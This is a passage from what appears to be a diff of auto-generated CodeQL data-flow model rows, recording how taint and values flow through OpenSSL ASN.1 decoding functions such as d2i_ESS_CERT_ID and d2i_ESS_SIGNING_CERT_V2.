**,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EXTENDED_KEY_USAGE", "(EXTENDED_KEY_USAGE 